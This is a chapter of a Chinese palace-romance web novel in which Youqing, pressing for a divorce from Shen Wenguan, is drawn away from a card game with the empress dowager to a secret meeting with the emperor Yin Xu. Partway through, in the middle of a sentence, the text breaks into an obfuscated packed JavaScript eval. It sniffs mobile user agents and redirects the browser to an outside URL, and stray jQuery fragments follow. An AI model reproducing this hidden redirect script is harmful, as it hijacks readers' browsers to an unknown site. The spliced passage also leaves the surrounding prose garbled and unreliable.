23. 耿耿灯

作品:《宫阙藏青

    太液池已结着厚厚的冰,池边的柳树都挂上了白霜,日光下晶莹地闪烁,重重的披甲侍从围在其周,太监宫女若干有条不紊地在其间行走。


    各色小旗立在围栏,明亮张扬的色彩在日光下飞扬。


    冰面上已聚集起,一群一群的少年,着同样衣裳,只是颜色不大相同。年轻俊朗的面孔上尽扬着肆意的笑容,在刺眼的阳光下熠熠生辉。


    而冰面之外,已有人私下开了赌注,赌哪一队冰蹴鞠能赢,钱投得越来越多,赌盘越开越大。


    太监高声唱和,众人皆伏首而拜。


    帝王在簇拥之中姗姗来迟,行至高台之上站定,明黄袍角在风中轻卷,玉带勾出劲瘦腰身,俊冷的眉目难辨。


    众人视线都随着高台之人,目中尽是仰慕又敬畏之情。


    殷胥只简单道了几句,又赞了几句场上少年风姿,不再多言。


    冰蹴鞠就此开场,欢呼声霎时沸腾。


    女眷所在的棚子里,烧着炉火,宫人奉上茶果,相熟之人已絮絮开始闲话,时有人进来询问是否投注。


    幼青只坐了一阵,便裹上斗篷,兜帽也盖下来,几乎挡住全貌,而后到冰场周围去瞧赛事。


    沈文观左顾右盼张望着,没在冰场周围看见薛二,本来以为薛二不出来了,却蓦地在东南角看见了熟悉的斗篷。


    他顿时高兴起来,挤开人群,快步走了过去。幼青正看赛事入了神,身边忽地响起一道声音。


    “你觉得哪队会胜?”


    幼青顺着声音一转头,就看到了沈文观不知道什么时候站在了身旁。


    沈文观开口问:“你投注了没有?我投了蓝服那队。”


    幼青回过视线:“没有。”


    沈文观摸着下巴道,“蓝服那队一看就很有气势,你看,又拿了一分!”


    不远处的高台之上,明黄色的身影略微偏头,向这个方向望了过来,目光似是似有若无地落下。


    常喜本立在帝王身侧,正专注地瞧着冰上的赛事,忽然觉得上方一阵凉意。


    送茶的小太监来了,常喜从黑漆托盘上拿起茶盏,小心翼翼地放下,趁此偷偷觑着帝王此刻的神色。


    眉目冰冻,唇角冷凝。


    常喜思索了下,也没发生什么啊,怎么陛下突然就不高兴了。


    下一刻,殷胥蓦地起身离席。


    而冰面周围,在耳边愈大的吵嚷中,幼青拢了拢斗篷,转身穿过人群离开。


    沈文观正在激动之处喊得高兴,却忽地发现身边没了人影,再定睛一瞧,人已经快走远了。


    他顿时憋了口气。


    怎么连一声都不说就走了?他说了那么多来逗趣,她也没给一个好脸色。


    来不及多想,沈文观忙又追了上去,终于在不远处的小径追上了人。


    “诶,你去哪儿啊?”


    “外头冷,我回去。”幼青道。


    “哦哦。”沈文观应了两声,绞尽脑汁地想说什么话才能表现出关心,半晌终于说出了一句,“那你多烤烤火。”


    幼青:“……”


    “没什么事,我就先走了。”


    说着幼青已提步往前走,刚走一步,又被沈文观拦住。


    幼青脚步顿住,神色疑惑,回望着沈文观,看了好几眼,他到底要做什么?先是不肯和离,现在又是这副行事。


    沈文观竭力关心:“天气确实极冷,你穿得太薄了,下回记得穿厚一点。”


    正当沈文观还要絮絮的说话之时,小径上行来粉衣宫人,恭敬地行了礼,对着幼青道:“奴婢是太后娘娘宫里的,太后娘娘请沈夫人见面一叙。”


    沈文观那些尽力憋出来的关心之词,这回全都没机会说出来了,看着薛二跟着宫人离开了,半晌他摸摸头,不管她了,正好回去继续瞧赛事好了。


    幼青跟着宫人而去。


    太后为何会突然唤她?是头疾又发作了么?还是有旁的事情?


    一进厅内,暖气袭面而来。


    宫人有条不紊地穿梭着,行动皆是极其静谧且有素,正中的四方桌上,坐着太后以及几位太妃。


    厅内人并不少,幼青还是一眼瞧见,南窗之下的明黄身影。


    稀薄的日光照在男人侧脸轮廓之上,在墙面落下剪影,他手执银剪,抬手修着花枝,明黄袖口随之而垂下,龙纹刺绣鲜活夺目威严逼人。


    幼青没来得及多看,就被唤着坐下,陪着太后太妃等摸骨牌。


    这边幼青刚坐下,那边殷胥已经放下银剪,提步转身往外而去。


    错身而过的瞬间,他脚步微顿。


    目光向她落下,却又很快移开。


    幼青别开视线,抿了抿唇,低头看着牌面,脑中却蓦地浮现,上回那个蜻蜓点水般的吻。


    有点柔软,有点凉。


    他到底是怎么想的呢?


    宫人打起帘栊,他微俯身走出厅外。


    帘栊落下,那道身影再不见。


    幼青心神回至厅内,专注地看着牌,


    虽不知道太后怎么会想起她,特意叫她来打牌,但都赶鸭子上架了,幼青也只能硬着头陪打。


    安太妃瞥了眼帘栊,又收回目光,缓缓摸着手里的骨牌。


    沈夫人一来,陛下就走了,这关系瞧着是当真不和。旧仇隔在当中,共处一室自是觉得烦心,谁都不想见谁。


    偏偏太后还把人专门叫了过来,这不是故意给陛下添堵么?


    弄得气氛也尴尬。


    太后道:“沈夫人医术极佳,哀家的头疾经沈夫人一治,好了一大半,也不怎么发作了,夜里睡得安稳多了。只是近来食欲不振,想问一问沈夫人。”


    安太妃生起兴趣:“正巧,哀家最近总是多梦易醒,沈夫人可有法子?”


    幼青正摸着骨牌,思索打哪一张,闻言立刻断了思路,一句一句认真回答,手中拿着的骨牌,也打出去得极慢。


    日头渐落,厅内亮起灯火。


    幼青说话温声细语,不急不缓又不使人觉得厌烦,听来浑身舒畅,灯火惶惶之下,容色更添几分盛色。


    倒是赏心悦目。


    安太妃垂目看牌,不管传言是如何,如今一见却是挺招人喜欢,瞧着极灵秀,言辞之间也很令人舒服。


    气氛渐渐热络起来,太后和两位太妃也都闲话得高兴。


    一时欢声笑语。


    就在此时,奉茶的宫人,撤茶水的时候咣当一声蓦地打翻了。泛凉的茶汤洒在了幼青的裙角,顿时湿润


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694927|155413||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开小小的一片。


    宫人连连告罪。


    幼青轻摇摇头,道了声无事。


    但衣裙已经湿了,幼青只得同太后等赔罪之后,起身随着宫人去更衣。


    八角宫灯随着宫人步伐轻晃,稀薄的月色照进红色长廊,幼青本以为会去偏殿更衣,谁曾想却越行越远。


    幼青越发觉得不对劲,询问道:“这是去哪里更衣?”


    粉衣宫女只答:“就在前面的殿中。”


    正说着,已经到了。


    她转身想走,却被粉衣宫女结结实实拦住了去路,身后殿门已开,而粉衣宫女的气力几乎不像个普通人。


    幼青被逼着踉跄着退进殿内的瞬间,殿门咣当一声重重阖上。


    顿时满目漆黑,幼青没适应黑暗。


    她刚想喊人,却还没来得及出声,一只大手捂住了她的嘴,幼青所有的话都在刹那间咽了回去。


    “陛下?”


    殷胥松开手:“是朕。”


    幼青转过身,眼睛终于适应了。


    月光从窗台照进来,殷胥换了玄裳,暗纹浮动,玉带轻勾,他略侧倚在窗前,明瓦斑斓的光映下,一半隐在黑暗中,侧脸轮廓明明暗暗,他眸光黑且幽深。


    “什么时候和离?”


    幼青愣了一下,轻声道:“臣女也不能确定,还在同沈文观商议。”


    “商议出了什么?”殷胥问。


    幼青抿了抿唇,这几日其实都没能同沈文观好好再商议一回,他一直都是不愿不听不理的态度。


    许久没有回答。


    殷胥移开了眼,从今日见人起,胸口就积聚的烦躁,连同几日的思虑,一点点都强压下去,化成了平淡的一句。


    “朕已拟好了赐你和离的圣旨。”


    幼青怔愣了瞬。


    下旨和离,倒是简单明了。


    不过如此一来,确实有诸多弊处。


    “不想和离?舍不得?”殷胥垂目。


    “不是的。”幼青轻声否认。


    幼青解释道:“臣女是想,一是太过声势大,恐是要惊动许多人;二是强行和离,恐是要结出两家的怨气来。”


    而最重要的是,幼青抿住了唇。


    纵然他是皇帝,这样下旨赐人和离,也于他的声名有损。


    为了和离,有损声名,实在不值得。


    “臣女可以同沈文观再商议,想来他是有旁的顾虑。”幼青垂下了头。


    不到万不得已,还是不用圣旨了。


    莹白的月光之下,她眼眉低垂,长长的眼睫落下,落下小片阴影,唇上半点朱红是唯一的浓色,在月影中朦胧。


    殷胥顿了顿,目光凝在朱唇。


    他蓦地忆起滋味。


    柔软的,湿润的,温暖的。


    他忽然很想,放肆的再尝一回。


    远处的厅内,牌局又过了几轮。


    太后缓缓摸着骨牌,看了眼滴漏,眉心略略蹙起,目光虽是望着牌局,却是神思不在其中,更衣这般久了。


    安太妃百无聊赖,随手打出一张牌。


    也是奇怪,沈夫人更衣更了这么久,皇帝也不知去了何处,倒是都没再回来。


    也不知这两人各自忙着什么。